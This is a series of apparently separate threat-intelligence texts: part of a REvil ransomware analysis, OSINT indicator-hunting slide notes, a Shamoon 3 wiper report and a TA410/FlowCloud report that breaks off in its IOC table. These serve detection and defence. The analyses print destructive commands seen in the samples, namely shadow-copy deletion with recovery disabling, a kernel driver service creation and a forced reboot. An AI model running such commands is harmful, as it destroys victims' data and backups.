REvil profiles the compromised host by collecting the following information: - Current username - Hostname - Workgroup/domain name - Locale - Russian keyboard layout (true/false) - Operating system product name - Fixed drive details - CPU architecture The malware converts the information into a "stat" JSON data structure and adds additional keys associated with the malware. ```json { "bit": 86, "bro": false, "dsk": "QwADAAAAAPDf/xgAAAAA0LxsFQAAAA==", "grp": "WORKGROUP", "lng": "en-US", "net": "VICTIM-HOSTNAME", "os": "Windows 8.1 Pro", "pid": "7", "pk": "nAjfiPcoIyeIwwCkM1hLhXo5HUQMtrAB+7m8eHzerho=", "sk": "ww8h065kK3Tm7Thg/Y0nT3tSLReYMJUoaVVIkkDq8/L/5k1IcaoVFKkDtKcrdap6Q1mzZd+B6oAD2McVjLnWu6F/w0VV", "sub": "3", "uid": "F3FD1FCFF284306B", "unm": "VICTIM-USERNAME", "ver": 257 } ``` ### Configure ransom note REvil generates the ransom note's filename using a similar process. It obtains the value stored within the "nname" key in its configuration and replaces the {EXT} variable placeholder with its corresponding value. In the analyzed sample, the nname key value "{EXT}-HOW-TO-DECRYPT.txt" led to the ransom note filename 9781xsd4-HOW-TO-DECRYPT.txt. ### Check for command-line switches REvil checks for command-line switches passed to the executable when it was launched. The analyzed sample supports a single command-line switch: -nolan. By default, REvil encrypts the contents of local fixed hard drives and network-attached shares. If the -nolan command-line switch is passed when the binary is launched, REvil ignores network-connected resources. ### Validate target is whitelisted The malware authors likely leverage REvil's dbg configuration key during development to bypass the whitelisting control, so the value will typically be set to false. If the target host is whitelisted and the dbg value is set to false, REvil terminates its execution. If the dbg configuration key value is set to true or the target host is not whitelisted, REvil executes the next phase of its infection. ### Terminate blacklisted processes To eliminate potential resource conflicts that could impede REvil's ability to wipe or encrypt files, the malware attempts to terminate blacklisted processes. The only blacklisted process listed in the prc configuration key is mysql.exe. ### Delete shadow copies To ensure that the compromised system is unable to restore from backup, REvil deletes shadow copies and disables recovery mode by executing the following command via ShellExecute: ``` cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures ``` ### If configured, wipe blacklisted folders REvil wipes the contents of blacklisted folders if the wipe key is set to true. The malware obtains the list of blacklisted folder names from the wfld key, searches local fixed drives and network shares for folder names that match the blacklisted names, and then erases the file contents of blacklisted folders and subfolders. ### Encrypt files REvil's encryption process starts by iterating through all folders and files residing on local fixed drives and verifying that they are not whitelisted. The malware compares subkeys located within the wht configuration key to the folder name, filename, or file extension. If a file is not whitelisted, REvil queues it and performs the following encryption process: 1. Reads the file contents into a buffer 2. Encrypts the contents of the buffer 3. Writes the encrypted contents of the buffer to the original file, overwriting the original file content 4. Renames the original file with the previously generated random extension The malware appears to encrypt files with the Salsa20 stream cipher. The only way to decrypt files encrypted by REvil is to obtain one of the following keys from the threat actor: - The unencrypted session private key that was generated, encrypted, and stored within the sk_key and 0_key registry values - The attacker's private key associated with the public key stored in the REvil configuration ### Change desktop wallpaper If the encryption process is successful, REvil changes the desktop background to make the victim aware of the compromise. The previously generated message is placed at the top center of the image in white text. ### If configured, contact C2 server REvil can send the victim's stat information to one or more C2 servers. The malware queries the net configuration key value to determine if C2 communication should take place. If the value is true, REvil iterates through all of the C2 domains specified within the dmn configuration key and builds a semi-random URL for each C2 server. REvil sends the encrypted stat data containing the host profile and malware information to the C2 URL via the HTTP POST method. Detection of the associated network traffic is challenging because REvil uses the HTTPS protocol, which encrypts the network communication. ## Decryption website The ransom note instructs the victim to use a unique URL to decrypt their files. The URL leads to an attacker-controlled website that displays a form where victims must provide the key and extension name included in the ransom note. The victim is then informed of the cost in Bitcoin to decrypt their files. ## The GandCrab connection Based on several similarities between REvil and GandCrab, CTU researchers assess that the GOLD SOUTHFIELD and GOLD GARDEN threat groups overlap or are linked. ## Conclusion Given the diverse and advanced delivery mechanisms, code complexity, and resources utilized by REvil, CTU researchers assess that this ransomware will replace GandCrab as a widespread threat. The best way to limit the damage from ransomware is to maintain and verify current backups of valuable data. CTU researchers recommend that organizations employ a 3-2-1 backup strategy to ensure successful restoration of data in the event of a ransomware attack. ## Threat indicators The threat indicators can be used to detect activity related to REvil ransomware. | Indicator | Type | Context | |-----------|------|---------| | 512b538ce2c40112009383ae70331dcf | MD5 hash | REvil executable | | d3a0c325121ab4775ab48bbb7b2ef21c0f123109 | SHA1 hash | REvil executable | | 25ac4873ae4f955032f8f0e8ed4ec78df2e2ce814454b7b5abd9489feb4e30c3 | SHA256 hash | REvil executable | | 112983B0-B4C9-4F9B-96C4-E5394FB8A5B4 | Mutex | Created by REvil | | 1DB960B8-E5C3-F077-5D68-EEE2E637EE0B | Mutex | Created by REvil | | 206D87E0-0E60-DF25-DD8F-8E4E7D1E3BF0 | Mutex | Created by REvil | | 3555A3D6-37B3-0919-F7BE-F3AAB5B6644A | Mutex | Created by REvil | | 552FFA80-3393-423d-8671-7BA046BB5906 | Mutex | Created by REvil | | 6CAC559B-02B4-D929-3675-2706BBB8CF66 | Mutex | Created by REvil | | 859B4E91-BAF1-3DBB-E616-E9E99E851136 | Mutex | Created by REvil | | 879EBE58-4C9F-A6BE-96A3-4C51826CEC2F | Mutex | Created by REvil | | 95B97D2B-4513-2041-E8A5-AC7446F12075 | Mutex | Created by REvil | | BF29B630-7648-AADF-EC8A-94647D2349D6 | Mutex | Created by REvil | | C126B3B3-6B51-F91C-6FDF-DD2C70FA45E6 | Mutex | Created by REvil | | C19C0A84-FA11-3F9C-C3BC-0BCB16922ABF | Mutex | Created by REvil | | C817795D-7756-05BF-A69E-6ED0CE91EAC4 | Mutex | Created by REvil | | D382D713-AA87-457D-DDD3-C3DDD8DFBC96 | Mutex | Created by REvil | | DAE678E1-967E-6A19-D564-F7FCA6E7AEBC | Mutex | Created by REvil | | FB864EC7-B361-EA6D-545C-E1A167CCBE95 | Mutex | Created by REvil | | FDC9FA6E-8257-3E98-2600-E72145612F09 | Mutex | Created by REvil |
# 100 More Behind Cockroaches? Or How to Hunt IoCs with OSINT ## Hiroaki Ogawa & Manabu Niseki ### Before Starting English version is available for non-native Japanese folks :D “For every cockroach you see there are 100 more behind the walls.” Does it apply to cyber threats? YES. We have to install traps! ### Tracking Fingerprints - Attackers are good friends with bad habits. - Reusing infrastructures - Reusing components - Reusing SSL certificates - Reusing SSH host keys - Reusing something increases the possibility of tracking. - Let’s say it's a fingerprint of an attacker. - You can track him down based on his fingerprint. ### Fingerprints on the Internet #### Methodologies - Domain fuzzing - Passive DNS - HTTP fingerprint - SSH host key fingerprint - Certificate Transparency - IoC feeds aggregation - YARA ### Domain Fuzzing Domain fuzzing techniques to find typosquatting domains: - Converting 1 to 2 or q. (See your QWERTY keyboard) - Converting a to à, á, â, ã, ä, å, ɑ, ạ, ǎ, ă, ȧ or ą. - Converting a vowel (a, e, i, o or u) to another vowel. - e.g. example.com - axample.com, ixample.com, oxample.com, uxample.com, ... - Domain fuzzing is useful for finding similar domains. #### MoqHao - An Android malware. - It uses DGA-like domains: - ysu3g.xyz - hs3dg.xyz - Nsi3h.xyz - /[a-z][a-z][a-z0-9][a-z0-9][a-z]\.xyz/ How to do domain fuzzing for finding MoqHao hosts: - Write your own script. 😉 - Use dnstwist. ### Certificate Transparency Certificate Transparency enables monitoring of HTTPS websites. Roughly speaking, Certificate Transparency gives you newly domains for free. #### Useful services/tools: - CertStream: Near real-time certificate transparency log update stream. - Phishing Catcher: Phishing catcher using Certstream. - urlscan.io certstream-suspicious feed: Suspicious domains flying through CertStream. #### 16shop - An Indonesian phishing kit targeting Apple and Amazon users. - Akamai says 16shop is “a highly sophisticated phishing kit.” - C2: - 128.199.154.155 / 167.99.79.91 Does 16shop use HTTPS? Yes. Analyzing occurrences of words in 6,500+ 16shop domains: - If a CN in a CT log contains common 16shop words, it might be a 16shop website. - You can check whether it is 16shop or not by checking an HTTP response hash of /admin/index.php. ### HTTP Fingerprint #### Predator The Thief - A stealer malware. - Predator The Thief C2 returns a static HTTP response. - “A static HTTP response” means it always returns the same HTTP response. - Queries for Predator The Thief C2: - Censys(SHA256): b064187ebdc51721708ad98cd89dacc346017cb0fb0457d530032d387f1ff20e - BinaryEdge(SHA256): b064187ebdc51721708ad98cd89dacc346017cb0fb0457d530032d387f1ff20e - Shodan(MurmurHash3): http.html_hash:-1467534799 #### PANDA - PANDA is used by ShadowVoice. - HTTP response of PANDA is not static. - Instead of the hash value matching, you can use other techniques. - Queries for PANDA C2: - Censys: ("PANDA" AND "SMAdmin" AND "layui") - BinaryEdge: ("PANDA" AND "SMAdmin" AND "layui") - Shodan: http.favicon.hash:-633986505 http.title:PANDA ### SSH Host Key Fingerprint #### Fake Tokyo Public Prosecutors Office - A scam impersonating the Tokyo Public Prosecutors Office. - Hosts of fake websites reuse the same SSH host key. - Queries for fake hosts: - Censys(SHA256): 8e60fb30fb9a268b90a3d5af984c9326d3568a2554fc7ae5bfab1eb621c15518 - BinaryEdge(MD5): "f2:03:78:e5:a3:bb:50:6b:32:be:22:ad:52:3e:cc:98" - Shodan(MD5): f2:03:78:e5:a3:bb:50:6b:32:be:22:ad:52:3e:cc:98 ### IoC Feeds Aggregation - URLhaus: Malware URL exchange by abuse.ch. - IOC-DB: Indicator of Compromise database by InQuest. - Twitter IOC Hunter: Twitter based IoC database/feed by @fatihsirinnnn. ### YARA YARA is a tool aimed at helping malware researchers to identify and classify malware samples. With YARA, it could catch files that have the same strings or binaries from a large number of files and could be grouping these files. #### Where can we use YARA? - Online services - Hybrid Analysis - VirusTotal Hunting - Malpedia (Invitation only) - Koodous (Android malware only) - YARA command line tool ### Automation Why automation is so important: - Automation reduces operating costs. - Automation reduces human errors. - Making something auto is interesting. 😉 #### Tools - Apullo: A tool for taking basic fingerprints of a target. - Mihari: A monitoring tool leveraging Shodan, Censys, BinaryEdge, etc. - InQuest/ThreatIngestor: A tool for extracting and aggregating threat intelligence. ### Conclusion An attacker leaves his fingerprint on site. OSINT makes it possible to trace him based on his fingerprint. Automation rocks! Automation reduces human errors in investigation, provides a unified way of investigation, and reduces operating costs. OSINT and automation enable making your own intelligence for your organization.
# Shamoon 3 Targets Oil and Gas Organization **By Robert Falcone** **December 13, 2018** ## Summary On December 10, a new variant of the Disttrack malware was submitted to VirusTotal (SHA256:c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f) that shares a considerable amount of code with the Disttrack malware used in the Shamoon 2 attacks in 2016 and 2017. While we could not identify the impacted organization from the malware, today Saipem disclosed they were attacked. In previous attacks, we were able to determine the impacted organization based on the domain names and credentials used by the Disttrack tool to spread to other systems on the network. However, that functionality was missing from this sample. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead, it would overwrite the MBR, partitions, and files on the system with randomly generated data. According to a press release, Saipem confirmed that they experienced a cyberattack that involved a variant of the Shamoon malware. The attack caused infrastructure and data availability issues, forcing the organization to carry out restoration activities. Saipem told Reuters that 300 systems on their network were crippled by the malware related to the 2012 Shamoon attacks. While we cannot definitively confirm that Saipem was the impacted organization, the timing of this incident with the emergence of the Disttrack sample discussed in this blog is quite coincidental. ## Dropper The sample submitted to VirusTotal is a Disttrack dropper, which is responsible for installing a communications and wiper module to the system. The dropper is also responsible for spreading to other systems on the same local network, which it accomplishes by attempting to log into other systems on the network remotely using previously stolen usernames and passwords. Unfortunately, this particular sample does not contain any domains, usernames, or passwords to perform this spreading functionality, so this sample would only run on the system in which it was specifically executed. The dropper has a hardcoded kill time of '12/7/17 23:51'; if the system date is after this date the dropper installs the wiper module and starts wiping files on the system. The dropper reads the '%WINDOWS%\inf\mdmnis5tQ1.pnf' file to obtain a custom kill date that it will use instead of the hardcoded time. The communications module installed by the dropper writes to this file, which will be discussed in a later section. The dropper also decrypts a string '\inf\averbh_noav.pnf' that is the other file that the communications module uses to write system information to and if the wiper was able to successfully wipe the system, but the dropper does not appear to use this file. The dropper has three resources, two of which contain embedded modules, specifically a communications module and a wiper module. The third resource contains an x64 variant of the dropper, which it will use if the architecture of the system is determined to be x64. The resources have a language set to 'SUBLANG_ARABIC_YEMEN' that was also found in the previous Disttrack samples used in Shamoon 2 attacks. The resource names are PIC, LNG, and MNU, which are slightly altered versions of the ICO, LANG, and MENU names found in previous samples. The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. ### Resource Tables **Table 1: Resource containing the x64 variant of the Disttrack dropper** | Resource name | Description | Base64 Key | Offset | Length | SHA256 of Cleartext | |---------------|-------------|------------|--------|--------|---------------------| | PIC | x64 variant of Dropper | 2q9BQGHGVktPVIMZ6Nx17Njp4B5mHgj51hbybNInRWsNIWniq6hOYvf5CksMXvPOyl/3dYKDn7ymSGlK0+l5KA8YC8dzkkAwmn0nbBO97HgjJKJyL9DoiYKsO2M+A44NgOI89FIsWjcex9oEWzOo6VvxJ69HBvg+L4FExlbd8ZfvGewxgPgl98lqVGj14y5OBFIHTdvfxnnq/cTR55TgQdVDFUJHd2ljyzDl3LKPSUxT9sIE1aS7EA== | 8786-14 | 983552 | 0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 | **Table 2: Resource containing the communications module in the Disttrack dropper** | Resource name | Description | Base64 Key | Offset | Length | SHA256 of Cleartext | |---------------|-------------|------------|--------|--------|---------------------| | MNU | Communications module | U3JGgjNUDzWJEpOxzuwHjOijgav56cZatHh98dLbazGIBe7UMOcvdyCvU5/8mH1n7jUcMSIPFmqr7M671h5jradiKMn9M1sBdAmKSZUnXhz6FQKcvzkOee6EKEQ | 8601-14 | 266752 | 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe | **Table 3: Resource containing the wiper module within the Disttrack dropper** | Resource name | Description | Base64 Key | Offset | Length | SHA256 of Cleartext | |---------------|-------------|------------|--------|--------|---------------------| | LNG | Wiper module | cb5F91PLTu1hN8oPgG2a6AQiJkphsXAmWFarsUoYEFo/BNgxF8Rj/hdzHxW/k/fLCZboSJRLnr9OH578IJyiSSdvz3uUaNA/vycy7ZJaZ8Vf36i0L8fF9GYY4/glZt570dbuT8N7N6DFqIltGLAt87fZnUH07RlfqtsVfITXGlhJtxu7bBgB46gH74Y+WNy16u9BS8mdh+S8jqToZrob7o4wI2CUcoaf17mZ7P2SIVL+X5GVls6OrDA3/t50GX3t6wH4DTR7IHhoonQPA5rmKWxS6gcp | 7892-14 | 402432 | 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c | The dropper will install itself to the system (and remote systems if spreading was possible) by creating a service with the attributes listed in Table 4 below. **Table 4: Service created by the Disttrack dropper** | Service name | Service display name | Service description | Binary path | |--------------|----------------------|---------------------|-------------| | MaintenaceSrv | Maintenace Host Service | The Maintenace Host service is hosted in the LSA process. The service provides key process isolation to private keys and associated cryptographic operations as required by the Common Criteria. The service stores and uses long-lived keys in a secure process. | MaintenaceSrv32.exe or MaintenaceSrv64.exe | The dropper chooses a random name when installing the communication and wiper modules to the system. The communications module will have one of the following filenames with the 'exe' file extension: - netnbdrve - prnod802 - netrndiscnt - netrtl42l - mdmadccnt - prnca00 - bth2bht_ibv32 - cxfalcon_ibL32 - mdmsupr30 - digitalmediadevicectl - mdmetech2dmv - netb57vxx - winwsdprint - prnkwy005 - composite005 - mdmar1_ibv32 - prnle444 - kscaptur_ibv32 - mdmzyxlga - usbvideob - input_ibv48 - prnok002_ibv - averfx2swtvZ - wpdmtp_ibv32 - mdmti_ibv32 - printupg_ibv32 - wiabr788 The wiper module will have one of the following filenames with the 'exe' file extension: - _wialx002 - __wiaca00a - tsprint_ibv - acpipmi2z - prnlx00ctl - prngt6_4 - arcx6u0 - _tdibth - prncaz90x - mdmgcs_8 - mdmusrk1g5 - netbxndxlg2 - prnsv0_56 - af0038bdax - averfix2h826d_noaverir - megasasop - hidirkbdmvs2 - vsmxraid - mdamx_5560 - wiacnt7001 ## Wiper The wiper module (SHA256: 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c) that the dropper writes to the system is responsible for overwriting the data within the MBR, partitions, and files on the system. The wiper carries out this wiping using a legitimate hard disk driver called RawDisk by ElDos. The wiper contains the ElDos RawDisk driver in a resource named 'e' that it extracts by skipping to offset 1984 and reading 27792 bytes from that offset. It then decrypts the data using a 247-byte key and saves it to '%WINDOWS%\system32\hdv_725x.sys'. The wiper then creates a service named 'hdv_725x' for this driver using the following command line command and runs it with “sc start hdv_725x”: ``` sc create hdv_725x type= kernel start= demand binpath= %WINDOWS%\system32\hdv_725x.sys ``` This wiper was configured using the 'R' flag, which generates a buffer of random bytes that it will use to overwrite the MBR, partitions, and files. The sample supports two additional configuration flags as well, specifically 'F' and 'E' flags that will either overwrite files using a file or encrypt its contents. The wiper could be configured to use a file to overwrite the files on the disk using the 'F' configuration flag, as we saw images used to overwrite files in previous Shamoon attacks. This file would be stored in a resource named 'GRANT', but this particular wiper is not configured to use a file for overwriting so the GRANT resource does not exist. If it were configured to use a file, this sample would extract the file using the information listed in Table 5. **Table 5: Resource in wiper module that would contain file to use for overwriting data** | Resource name | Description | Base64 Key | Offset | Length | SHA256 of Cleartext | |---------------|-------------|------------|--------|--------|---------------------| | GRANT | File to overwrite within Wiper module | heocXOK4rDmQg4LRURI9wSOuSMwe0e69NfEpZLmyNixiUGYdEtpx/ZG3rMRN7GZlJ1/crQTz5Bf6W0xgkyYCwzD247FolCGA0EE5U/Oun5qlDd1u1CA+fee7cG | 71-14 | <unknown> | <unknown> | This sample is also capable of being configured to import an RSA key to encrypt the MBR, partitions, and files via configuration flag 'E'. This sample was not configured to encrypt files, and the RSA key is empty in the wiper. After completing this wiping functionality, the sample will reboot the system using the following command line, which will render it unusable when the system reboots as the important system locations and files have been overwritten with random data: ``` shutdown -r -f -t 2 ``` ## Communications The communications module (SHA256: 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe) dropped by the Disttrack dropper will use the following two supporting files: - %WINDOWS%\inf\mdmnis5tQ1.pnf – Used to set a wipe date for associated wiper module - %WINDOWS%\inf\averbh_noav.pnf – Used to mark successful wiping The communications module is responsible for reaching out to hardcoded URLs to communicate with the C2 server, but like previous Disttrack samples, this communication module does not contain functional C2 domains to use in the URLs. If it did, it would create a URL with a parameter named 'selection' followed by system information and the contents of the 'averbh_noav.pnf' file, as seen here: ``` [C2 URL, empty]?selection=[system info and contents of averbh_noav.pnf] ``` When communicating with the C2 URL, the communications module would use a User Agent of 'Mozilla/13.0 (MSIE 7.0; Windows NT 6.0)', which is the same as past Disttrack communication module samples. **Table 6: Commands available within the communication module’s command handler** | Command | Description | |---------|-------------| | E | Reads base64 encoded file from the C2 server, runs ‘del /f /a %TEMP%\Temp\reilopycb\*.exe’ to delete previously downloaded executables, runs ‘mkdir %TEMP%\Temp\reilopycb] > nul 2>&1’ to create a folder and saves the executable to a file named ‘[tick count].exe’. The Trojan then runs the downloaded executable %TEMP%\Temp\reilopycb\[tick count].exe. | | T | Opens the ‘\inf\mdmnis5tQ1.pnf’ file and writes a supplied date to the file. The ‘\inf\mdmnis5tQ1.pnf’ file is used by another associated module to this communications module that is responsible for wiping the system. | ## Conclusion The Disttrack sample uploaded to VirusTotal is a variant of the samples used in the Shamoon 2 attacks in 2016 and 2017. The tool does not have the capability to spread to other systems on the local network. Instead, it would have to be loaded onto and executed on the system that the actors intend to wipe. The wipe date of '12/7/2017' does not seem timely. However, this older date is still effective as the Disttrack dropper will install and run the wiper module as long as the system date is after the wipe date. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead, it would overwrite the MBR, partitions, and files on the system with random data. While we can’t confirm this sample was used in the Saipem attack, it is likely at least related to it. Palo Alto Networks customers are protected from this threat: - WildFire detects all samples associated with this attack with malicious verdicts. - AutoFocus customers can track this attack and previous Shamoon attacks using the Disttrack. ## Indicators of Compromise - c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f – Disttrack Dropper x86 - 0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 – Disttrack Dropper x64 - 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe – Disttrack Comms module x86 - 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c – Disttrack Wiper module x86 - 6985ef5809d0789eeff623cd2436534b818fd2843f09fa2de2b4a6e2c0e1a879 – ElDos RawDisk Driver x86 - ccb1209122085bed5bded3f923835a65d3cc1071f7e4ad52bc5cf42057dd2150 – Disttrack Comms module x64 - dab3308ab60d0d8acb3611bf364e81b63cfb6b4c1783864ebc515297e2297589 – Disttrack Wiper module x64 - bc4513e1ea20e11d00cfc6ce899836e4f18e4b5f5beee52e0ea9942adb78fc70 – ElDos RawDisk Driver x64
# TA410: The Group Behind LookBack Attacks Against U.S. Utilities Sector Returns with New Malware In August 2019, Proofpoint researchers reported that LookBack malware was targeting the United States (U.S.) utilities sector between July and August 2019. We then continued our analysis into additional LookBack campaigns that unfolded between August 21-29, 2019. These campaigns utilized malicious macro-laden documents to deliver modular malware to targeted utility providers across the U.S. At the same time, Proofpoint researchers identified a new malware family named FlowCloud that was also being delivered to U.S. utilities providers. FlowCloud malware, like LookBack, gives attackers complete control over a compromised system. Its remote access trojan (RAT) functionality includes the ability to access installed applications, the keyboard, mouse, screen, files, services, and processes with the ability to exfiltrate information via command and control. We analyzed phishing campaigns between July-November 2019 and determined that both LookBack and FlowCloud malware can be attributed to a single threat actor we are calling TA410. This conclusion is based on the threat actor’s use of shared attachment macros, malware installation techniques, and overlapping delivery infrastructure. In addition, our analysis found similarities between TA410 and TA429 (APT10) delivery tactics. Specifically, we have seen attachment macros that are common to both actors. TA410 campaigns detected in November 2019 included TA429 (APT10)-related infrastructure used in phishing attachment delivery macros. However, Proofpoint analysts believe that intentional reuse of well-publicized TA429 (APT10) techniques and infrastructure may be an attempt by threat actors to create a false flag. For this reason, while research is ongoing, we do not attribute LookBack and FlowCloud campaigns to TA429 (APT10). Proofpoint currently tracks TA429 (APT10) independently of TA410 campaigns. ## Delivery Proofpoint researchers observed phishing campaigns beginning on July 10, 2019, that targeted utility providers across the United States with portable executable (PE) attachments and used subject lines such as “PowerSafe energy educational courses (30-days trial)”. These campaigns continued through September 2019. Our analysis of these phishing campaigns determined that the PE attachments delivered modular malware which the developers referred to in program database (PDB) paths as “FlowCloud”. We therefore refer to these campaigns as “FlowCloud” based on the malware family they delivered. It’s notable that these FlowCloud campaigns were occurring at the same time as the LookBack campaigns that Proofpoint has previously documented. Both the FlowCloud and LookBack campaigns targeted utility providers in the United States. Both used training and certification-themed lures and threat actor-controlled domains for delivery. In some cases, both FlowCloud and LookBack campaigns targeted not only the same companies but also the same recipients. The senders of the emails that delivered FlowCloud malware utilized threat actor-controlled domains for delivery which impersonated energy sector training services, as well as utilized subdomains which contained the word “engineer”. We observed a distinct change in FlowCloud delivery tactics beginning with attacks carried out in November 2019. The targeting of U.S. utilities companies remained constant, but the threat actors shifted from PE attachments to malicious macro-laden Microsoft Word documents that closely resembled the same delivery and installation macros used in LookBack malware campaigns. Additionally, in November, threat actors began to utilize the sender domain asce[.]email to deliver these attachments. This domain was first observed in June 2019 registered to the IP 103.253.41[.]75, which was used as a staging and reconnaissance IP in previous LookBack campaigns. On October 29, 2019, the domain resolved to the IP 134.209.99[.]169, which also hosted several energy certification and education-themed domains. A number of these domains also shared an SSL certificate with delivery domains previously observed in the July and August 2019 FlowCloud phishing campaigns. ## Exploitation - Installation Macros As noted above, after an extended period of using PE attachments to deliver FlowCloud in campaigns, the threat actors behind FlowCloud switched to using Microsoft Word documents with malicious macros at the beginning of November 2019. The Word document attachments and macros delivering FlowCloud had key similarities with the Word document attachments and macros we identified that delivered LookBack in July and August 2019. Identical to the methodology used with LookBack, the FlowCloud macro used privacy enhanced mail (“.pem”) files which were subsequently renamed to the text file “pense1.txt”. This file is next saved as a portable executable file named “gup.exe” and executed using a version of the certutil.exe tool named “Temptcm.tmp”. For comparison, the FlowCloud macro used to install FlowCloud malware shows the macro used to install FlowCloud while the August 2019 macro used to install LookBack malware shows the macro used to install LookBack. The “Exploitation” section in our blog LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards has a more in-depth explanation of this method used by LookBack. FlowCloud uses this same method exactly, including identical macro concatenation code. While we found the ultimate execution method for both the LookBack Gup proxy tool and FlowCloud malware were the same across both macro versions, we found that the FlowCloud macro introduced a new method for the delivery of the malware. The earlier LookBack versions of the macro included the payload in numerous privacy enhanced email (“.pem”) files that were dropped when the attachment file is executed by the user. The FlowCloud version of the macro utilized a previously unobserved macro section to download the payload from a DropBox URL. Once the payload was downloaded, a FlowCloud malware PE in the form of a .pem file was saved as the variable “Pense1.txt”. The FlowCloud macro also contained a strange try… catch statement which initially attempts to download the FlowCloud payload from the DropBox URL as part of the try statement. However, if it was unable to retrieve the payload from that resource, a catch statement which was nearly identical to the try statement attempted to retrieve a malware resource from the URL http://ffca.caibi379[.]com/rwjh/qtinfo.txt. This try…catch sequence is significant because the URL in the catch statement and malware resource was previously mentioned in a May 2019 blog by enSilo entitled “Uncovering New Activity by APT10”. The blog claims that this URL delivered a modified Quasar RAT payload which included the addition of SharpSploit, an open-source post-exploitation tool. FlowCloud Malware Our analysis of the FlowCloud malware determined that it is a multi-stage payload comprised of a large code base written in C++. The code demonstrates a level of complexity including numerous components, extensive object-oriented programming, and use of legitimate and imitation QQ files for initial and later stage execution. We found further imitation of QQ components in several modules used throughout FlowCloud execution. The malware name “FlowCloud” was taken from distinctive PDB paths observed in numerous malware components. FlowCloud malware is capable of RAT functionalities based on its available commands including accessing the clipboard, installed applications, keyboard, mouse, screen, files, services, and processes with the ability to exfiltrate information via command and control. Additionally, the malware variants analyzed have several distinct characteristics that indicate the malware may have been active in the threat landscape since at least July 2016. In addition to components built to target updated Windows versions, FlowCloud samples have dropped a 32-bit module that was only compatible with Windows versions 6 (Windows Vista) and below. The dated nature of this binary coupled with the extensible nature of the malware code suggests that the FlowCloud code base has been under development for numerous years. Public reports around FlowCloud malware components and related installation directory paths suggest that versions of this malware may have been observed in the wild as early as July 2016. Additionally, development of this malware around legitimate QQ files and the identification of malware samples uploaded to VirusTotal from Japan in December 2018 and earlier this year from Taiwan indicate that the malware may have been active for some time in Asia prior to its appearance targeting the U.S. utilities sector. ## Command and Control FlowCloud malware handles configuration updates, file exfiltration, and commands as independent threads utilizing a custom binary C2 protocol. We identified these independent threads as part of an extensive command handling functionality with distinct command managers existing for each command. The sample we analyzed utilized port 55555 for file exfiltration and port 55556 for all other data. We identified FlowCloud communication with the IP 188.131.233[.]27. The requests and responses are composed of multiple encrypted headers (using XORs and RORs) and TEA encrypted data using a key generation scheme involving a hardcoded string of random characters and MD5 hashing. The plaintext data is compressed using ZLIB and serialized using Google’s Protocol Buffers. ## Conclusion The convergence of LookBack and FlowCloud malware campaigns in November 2019 demonstrates the capabilities of TA410 actors to distinctly utilize multiple tools as part of a single ongoing campaign against U.S. utilities providers. Both malware families demonstrate a level of sophistication in their conception and development while the extensible code base of FlowCloud malware suggests that this group may have been operating as early as 2016. TA410 operators demonstrate a willingness to dynamically evolve phishing tactics to increase the effectiveness of their campaigns and a keen eye towards plausible social engineering within a very select targeted sector. It remains unclear if the nature of the tactics and indicators that are shared with TA429 (APT10) were developed by this group or culled from readily available technical reporting that pre-dated these campaigns. The possibility remains that these overlaps represent intentional false flag efforts to cloak the identity of these perpetrators while they targeted a critical and geo-politically sensitive sector of energy providers in the U.S. Regardless of the actor’s intention, TA410 has established itself as a motivated actor with mature toolsets carrying out long-term campaigns against highly important and geographically concentrated target sets. ## Indicators of Compromise (IOCs) | IOC | IOC Type | Description | |---------------------------------------------------------------------------------------------------|----------|-----------------------------------------------| | faa80e0692ba120e38924ccd46f6be3c25b8edf7cddaa8960fe9ea632dc4a045 | SHA256 | PE Attachment - our infrastructure offer | | b7960d1f40b727bbea18a0e5c62bafcb54c9ec73be3e69e787b7ddafd2aae364 | SHA256 | PE Attachment - powersafe courses | | 26eb8a1f0bdde626601d039ea0f2c92a7921152371bafe5e811c6a1831f071ce | SHA256 | FlowCloud MS Word Macro Attachment - personal invitation.doc | | cd8f877c9a1c31179b633fd74bd5050e4d48eda29244230348c6f84878d0c33c | SHA256 | Dropped Files - Cert.pem | | e4ad5d3213425c58778d8a0244df4cd99c748f58852d8ac71b46326efd5b3220 | SHA256 | Dropped Files - pense1.txt | | 589229e2bd93100049909edf9825dce24ff963a0c465d969027db34e2eb878b4 | SHA256 | Dropped Files - Temptcm.tmp | | 1334c742f2aec7e8412d76ba228b99935a49dc96a1e8e1f3446d9f61247ae47e | SHA256 | Dropped Files - EhStorAuthn.exe | | de30929ef958211f9315e27a7aa45ef061726a76990ddc6b9d9f189b9fbdd45a | SHA256 | Dropped Files - dlcore.dll | | 0b013ccd9e10d7589994629aed18ffe2388cbd745b5b28ab39c07835295a1ca9 | SHA256 | Dropped Files - rebare.dat | | 479954b9e7d5c5f7086a2a1ff1dba99de2eab2e1b1bc75ad8f3b211088eb4ee9 | SHA256 | Dropped Files - rescure.dat | | d5191327a984fab990bfb0e811688e65e9aaa751c3d93fa92487e8a95cb2eea8 | SHA256 | Dropped Files - responsor.dat | | 0701cc7eb1af616294e90cbb35c99fa2b29d2aada9fcbdcdaf578b3fcf9b56c7 | SHA256 | Dropped Files - EhStorAuthn_shadow.exe | | 